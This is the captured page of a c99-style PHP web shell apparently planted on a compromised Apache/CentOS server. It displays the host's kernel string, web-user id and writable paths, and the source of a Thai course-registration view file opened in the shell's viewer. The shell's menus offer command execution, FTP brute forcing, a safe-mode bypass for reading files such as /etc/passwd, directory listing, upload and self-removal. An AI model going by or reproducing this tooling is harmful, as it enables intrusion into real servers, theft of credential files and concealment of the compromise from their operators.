!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showDetailRsp.php (2.69 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%">
    <tr>
        <td align="center"><span class="h error">รายละเอียดข้อมูลโปรแกรมการเรียนจริง</span></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="szone">
            <tr>
                <td class="coltd_szone1">หลักสูตร</td>
                <td><?php echo $qu_cur->row()->curName;?></td>
            </tr>
            <tr>
                <td class="coltd_szone1">ปีการศึกษา</td>
                <td><?php echo $adY;?></td>
            </tr>
<?php
    
if(isset($rs_sy) && $rs_sy->num_rows()) {
        foreach(
$rs_sy->result() as $row_rs_sy) {    // ชั้นปี
            
$sy->syId $row_rs_sy->rspSyId;
            
$sy->get_by_key(TRUE);
?>
            <tr>
                <td height="25px" class="indent" colspan="2"><b>ชั้นปีที่</b> <?php echo $sy->syCode;?></td>
            </tr>
            <tr>
                <td colspan="2"><table class="headCol">
                    <tr>
                        <th>รหัสรายวิชา</th>
                        <th>ชื่อรายวิชา</th>
                        <th>หน่วยกิต</th>
                    </tr>
<?php
            $con_tm 
= array('rspCurId'    => $curId,
                            
'rspAdY'    => $adY,
                            
'rspSyId'    => $row_rs_sy->rspSyId);
            
$grp_tm = array('rspTmId'    => 'rspTmId');
            
$rs_tm $this->rsp->qryRsp($con_tm,'',$grp_tm);
            if(
$rs_tm->num_rows()) {
                foreach(
$rs_tm->result() as $row_rs_tm) {
                    
$tm->tmId $row_rs_tm->rspTmId;
                    
$tm->get_by_key(TRUE);
?>
                    <tr>
                        <th colspan="3">ภาคการศึกษาที่ <?php echo $tm->tmCode;?></th>
                    </tr>
<?php
                    $con_crs 
= array('rspCurId'    => $curId,
                                     
'rspAdY'    => $adY,
                                     
'rspSyId'    => $row_rs_sy->rspSyId,
                                     
'rspTmId'    => $row_rs_tm->rspTmId);
                    
$crs $rsp->qryRspJoinCoCrs($con_crs);

                    
$sumCreditTotal 0;
                    if(
$crs->num_rows()) {
                        foreach(
$crs->result() as $row_crs) {
?>
                    <tr>
                        <td align="center"><?php echo $row_crs->crsCode;?></td>
                        <td class="indent"><?php echo explodeSquare($row_crs->crsName);?></td>
                        <td align="center"><?php echo $row_crs->crsUnit;?></td>
                    </tr>
<?php
                            $sumCreditTotal 
+= $row_crs->crsCreditTotal;
                        }
                    }
?>
                    <tr>
                        <td bgcolor="<?php echo $this->config->item('rg_table_end');?>" colspan="2" align="right"><b>รวมหน่วยกิต</b></td>
                        <td bgcolor="<?php echo $this->config->item('rg_table_end');?>" align="center"><?php echo $sumCreditTotal;?></td>
                    </tr>
<?php
                
}
            }
?>
                </table></td>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
<?php
        
}
    }
?>
        </table></td>
    </tr>
    <tr>
        <td align="center"><input type="button" name="close" value="ปิดหน้าต่าง" onClick="window.close()" /></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.015 ]--